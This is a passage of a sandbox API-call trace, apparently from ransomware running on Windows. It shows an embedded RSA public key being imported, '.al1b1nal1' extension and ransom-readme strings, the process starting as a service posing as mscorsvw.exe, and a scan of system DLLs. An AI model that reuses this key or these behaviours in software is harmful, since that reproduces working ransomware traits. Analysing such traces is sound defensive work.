(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.281] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x9d2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=14, lpWideCharStr=0x94dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0038.282] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x9d2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=10, lpWideCharStr=0x94e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0038.282] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x9d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=15, lpWideCharStr=0x94e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0038.282] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x9d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d2850, cbMultiByte=56, lpWideCharStr=0x94e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d5058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d5058, cbMultiByte=10, lpWideCharStr=0x94e1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d5058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0038.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9d5058, cbMultiByte=17, lpWideCharStr=0x94e268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0038.283] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0038.283] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0038.283] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x9d7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x9d7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0038.283] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0038.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x280) returned 0x9d7f40 [0038.288] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x9d7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x9d7f40, pcbStructInfo=0x18fd24) returned 1 [0038.288] CryptImportPublicKeyInfo (in: hCryptProv=0x2dd990, dwCertEncodingType=0x10001, pInfo=0x9d7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x9d7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x9d7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x2e22e8) returned 1 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d7f40) returned 1 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d7cf8) returned 1 [0038.289] ReleaseMutex (hMutex=0x90) returned 1 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d5058 [0038.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c900 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c900) returned 1 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2800) returned 0x9d5058 [0038.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c900 [0038.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c900) returned 1 [0038.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c900 [0038.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0038.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e1e0 [0038.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x94c900, cbMultiByte=9, lpWideCharStr=0x94e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0038.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e268 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e1e0) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e268) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c900) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5058) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d258) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d268) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d288) returned 1 [0038.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.290] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0038.290] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) [0109.935] SetServiceStatus (hServiceStatus=0x2de438, lpServiceStatus=0x18fcf0*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 332 os_tid = 0xbf8 Thread: id = 333 os_tid = 0xbd0 Thread: id = 334 os_tid = 0x3c8 Thread: id = 335 os_tid = 0x990 [0038.304] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x2de438 [0038.304] SetServiceStatus (hServiceStatus=0x2de438, lpServiceStatus=0x119ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0038.311] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0038.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e268 [0038.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c) returned 0x94dd28 [0038.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e1e0 [0038.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e2f0 [0038.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e378 [0038.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e400 [0038.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e488 [0038.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e510 [0038.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e598 [0038.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e620 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e6a8 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e730 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e7b8 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d7cf8 [0038.317] GetSystemWow64DirectoryW (in: lpBuffer=0x9d7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d7cf8) returned 1 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e840 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e840) returned 1 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e840 [0038.317] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x119fca8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119fca8) returned 0x2dfd68 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.318] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0038.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x94c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0038.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.336] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.336] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.336] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x94c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.337] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.337] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 